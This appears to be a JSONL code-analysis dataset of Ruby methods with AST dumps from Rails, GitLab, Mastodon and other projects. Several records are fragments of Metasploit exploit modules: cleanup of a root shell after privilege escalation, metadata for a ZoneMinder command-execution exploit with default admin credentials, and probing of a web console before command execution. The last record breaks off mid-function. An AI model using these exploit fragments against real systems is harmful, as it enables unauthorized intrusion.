{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/asan_suid_executable_priv_esc.rb","start_line":283,"raw_source":"def on_new_session(session)\n    # Remove rootshell executable\n    if session.type.eql? 'meterpreter'\n      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\n      session.fs.file.rm @rootshell_path\n    else\n      session.shell_command_token \"rm -f '#{@rootshell_path}'\"\n    end\n  ensure\n    super\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"type\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"ext\"]},\"aliases\"]},\"include?\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"core\"]},\"use\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"ivar\",\"children\":[\"@rootshell_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"shell_command_token\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm -f '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rootshell_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3a6132bc-7d4b-46e5-bf13-462bf228e1bc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/base.rb","start_line":97,"raw_source":"def add_default_name_and_field(options, field = \"id\")\n            index = name_and_id_index(options)\n            options[\"name\"] = options.fetch(\"name\") { tag_name(options[\"multiple\"], index) }\n\n            if generate_ids?\n              options[field] = options.fetch(field) { tag_id(index, options.delete(\"namespace\")) }\n              if namespace = options.delete(\"namespace\")\n                options[field] = options[field] ? \"#{namespace}_#{options[field]}\" : namespace\n              end\n            end\n          end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_default_name_and_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"optarg\",\"children\":[\"field\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[null,\"name_and_id_index\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tag_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"multiple\"]}]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_ids?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tag_id\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"str\",\"children\":[\"namespace\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"str\",\"children\":[\"namespace\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]},null]}]},null]}]}]}","id":"0b129cce-19e8-4466-b62a-24507aa5fd8a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'ZoneMinder Video Server packageControl Command Execution',\n        'Description' => %q{\n          This module exploits a command execution vulnerability in ZoneMinder Video\n          Server version 1.24.0 to 1.25.0 which could be abused to allow\n          authenticated users to execute arbitrary commands under the context of the\n          web server user. The 'packageControl' function in the\n          'includes/actions.php' file calls 'exec()' with user controlled data\n          from the 'runState' parameter.\n        },\n        'References' => [\n          ['CVE', '2013-0232'],\n          ['OSVDB', '89529'],\n          ['EDB', '24310'],\n          ['URL', 'http://web.archive.org/web/20211207213730/https://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/']\n        ],\n        'Author' => [\n          'bcoles', # Discovery and exploit\n        ],\n        'License' => MSF_LICENSE,\n        'Privileged' => true,\n        'Arch' => ARCH_CMD,\n        'Platform' => 'unix',\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic telnet python perl',\n                        },\n        },\n        'Targets' => [\n          ['Automatic Targeting', { 'auto' => true }]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-01-22',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),\n      OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),\n      OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])\n    ])\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ZoneMinder Video Server packageControl Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a command execution vulnerability in ZoneMinder Video\\n\"]},{\"type\":\"str\",\"children\":[\"          Server version 1.24.0 to 1.25.0 which could be abused to allow\\n\"]},{\"type\":\"str\",\"children\":[\"          authenticated users to execute arbitrary commands under the context of the\\n\"]},{\"type\":\"str\",\"children\":[\"          web server user. The 'packageControl' function in the\\n\"]},{\"type\":\"str\",\"children\":[\"          'includes/actions.php' file calls 'exec()' with user controlled data\\n\"]},{\"type\":\"str\",\"children\":[\"          from the 'runState' parameter.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0232\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"89529\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"24310\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20211207213730/https://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic telnet python perl\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Targeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-01-22\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The ZoneMinder username\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The ZoneMinder password\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the web application\"]},{\"type\":\"str\",\"children\":[\"/zm/\"]}]}]}]}]}]}]}","id":"e2bf6340-ad18-4fe9-8523-52f95df50f31"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/reloader.rb","start_line":331,"raw_source":"def error(*codes, &block)\n        path = caller_files[1] || File.expand_path($0)\n        result = super\n        codes.each do |c|\n          watch_element(path, :error, code: c, handler: @errors[c])\n        end\n        result\n      end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"codes\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_files\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"gvar\",\"children\":[\"$0\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"codes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"watch_element\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handler\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"95ffabe6-1503-4ca3-b4fc-5192b05ba924"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization/types/primitives.rb","start_line":166,"raw_source":"def selection_routine(index)\n      member_type_info = eval_parameter(:member_type_info)\n      if member_type_info.is_a? BinData::Record::Snapshot\n        member_type_info = Types::General::MemberTypeInfo.new(member_type_info)\n      end\n\n      member_type = member_type_info.member_types[index]\n      if member_type[:binary_type] == Enums::BinaryTypeEnum[:Primitive]\n        return member_type[:additional_info]\n      end\n\n      Types::Record\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"selection_routine\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"member_type_info\",{\"type\":\"send\",\"children\":[null,\"eval_parameter\",{\"type\":\"sym\",\"children\":[\"member_type_info\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_type_info\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BinData\"]},\"Record\"]},\"Snapshot\"]}]},{\"type\":\"lvasgn\",\"children\":[\"member_type_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"General\"]},\"MemberTypeInfo\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"member_type_info\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"member_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_type_info\"]},\"member_types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_type\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binary_type\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enums\"]},\"BinaryTypeEnum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Primitive\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_type\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"additional_info\"]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"Record\"]}]}]}","id":"f4aad1f9-715b-4600-b237-e85a4cf89583"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240909230748_add_index_on_events_personal_namespace_id_self_managed.rb","start_line":11,"raw_source":"def up\n    return if Gitlab.com_except_jh?\n\n    add_concurrent_index :events, # rubocop:disable Migration/PreventIndexCreation -- Legacy migration\n      :personal_namespace_id,\n      where: 'personal_namespace_id IS NOT NULL',\n      name: INDEX\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com_except_jh?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"events\"]},{\"type\":\"sym\",\"children\":[\"personal_namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"personal_namespace_id IS NOT NULL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX\"]}]}]}]}]}]}","id":"61583e2e-7f75-4d08-81f4-63dcafd09f3b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/scripts/fluent/plugin/out_test2.rb","start_line":68,"raw_source":"def process(tag, es)\n      @emit_streams << [tag, es.to_a]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@emit_streams\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"to_a\"]}]}]}]}","id":"4d88de44-def7-44ef-8515-9dc2fbbb1add"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/project_config/project_setting.rb","start_line":9,"raw_source":"def content\n          case source\n          when :repository_source\n            ci_yaml_include({ 'local' => ci_config_path })\n          when :external_project_source\n            path_file, path_project, ref = extract_location_tokens\n\n            config_location = { 'project' => path_project, 'file' => path_file }\n            config_location['ref'] = ref if ref.present?\n\n            ci_yaml_include(config_location)\n          when :remote_source\n            ci_yaml_include({ 'remote' => ci_config_path })\n          end\n        end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_source\"]},{\"type\":\"send\",\"children\":[null,\"ci_yaml_include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"local\"]},{\"type\":\"send\",\"children\":[null,\"ci_config_path\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"external_project_source\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_file\"]},{\"type\":\"lvasgn\",\"children\":[\"path_project\"]},{\"type\":\"lvasgn\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_location_tokens\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config_location\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"path_project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"path_file\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_location\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"ci_yaml_include\",{\"type\":\"lvar\",\"children\":[\"config_location\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_source\"]},{\"type\":\"send\",\"children\":[null,\"ci_yaml_include\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"remote\"]},{\"type\":\"send\",\"children\":[null,\"ci_config_path\"]}]}]}]}]},null]}]}","id":"c1bb7df5-98c7-4feb-9e1b-a42ba376d245"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/instances/extended_descriptions_controller.rb","start_line":9,"raw_source":"def current_user\n    super if limited_federation_mode?\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limited_federation_mode?\"]},{\"type\":\"zsuper\",\"children\":[]},null]}]}","id":"74991e08-41e5-4031-a35f-87953c7dc54b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/achievements/delete.rb","start_line":21,"raw_source":"def resolve(args)\n        achievement = authorized_find!(id: args[:achievement_id])\n\n        result = ::Achievements::DestroyService.new(current_user, achievement).execute\n        { achievement: result.payload, errors: result.errors }\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"achievement\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"achievement_id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Achievements\"]},\"DestroyService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"achievement\"]}]},\"execute\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"achievement\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]}]}]}]}","id":"f4fe9ea4-3733-4312-8c99-5fd74ba06baa"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20221101190723_backfill_admin_action_logs.rb","start_line":78,"raw_source":"def up\n    safety_assured do\n      process_logs_for_account\n      process_logs_for_user\n      process_logs_for_report\n      process_logs_for_domain_block\n      process_logs_for_domain_allow\n      process_logs_for_email_domain_block\n      process_logs_for_unavailable_domain\n      process_logs_for_status\n      process_logs_for_account_warning\n      process_logs_for_announcement\n      process_logs_for_ip_block\n      process_logs_for_custom_emoji\n      process_logs_for_canonical_email_block\n      process_logs_for_appeal\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_logs_for_account\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_user\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_report\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_domain_block\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_domain_allow\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_email_domain_block\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_unavailable_domain\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_status\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_account_warning\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_announcement\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_ip_block\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_custom_emoji\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_canonical_email_block\"]},{\"type\":\"send\",\"children\":[null,\"process_logs_for_appeal\"]}]}]}]}","id":"84206ae1-e023-4f9d-87d9-410548535ac7"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/null_logger.rb","start_line":11,"raw_source":"def call(env)\n      env[RACK_LOGGER] = self\n      @app.call(env)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"RACK_LOGGER\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"76bb2106-84ac-44c5-ae6a-9f8d20a91cb2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb","start_line":117,"raw_source":"def get_console_status(session)\n    print_status('Getting diagnostic console status and profile_id')\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'settings'),\n      'cookie' => session,\n    })\n\n    unless res\n      fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')\n    end\n\n    unless res.body =~ /\\bid=\"profile_id\"\\W+.*\\bvalue=\"([^\"]*)\"/\n      fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')\n    end\n\n    profile_id = $1\n\n    if res.body =~ /<input\\W+.*\\b(id=\"allow_console_access\"\\W+.*\\bchecked=\"checked\"|checked=\"checked\"\\W+.*\\bid=\"allow_console_access\")/\n      console_status = true\n    elsif res.body =~ /<input\\W+.*\\bid=\"allow_console_access\"/\n      console_status = false\n    else\n      fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')\n    end\n\n    print_good(\"Console is currently: #{console_status ? 'Enabled' : 'Disabled'}\")\n\n    return console_status, profile_id\n  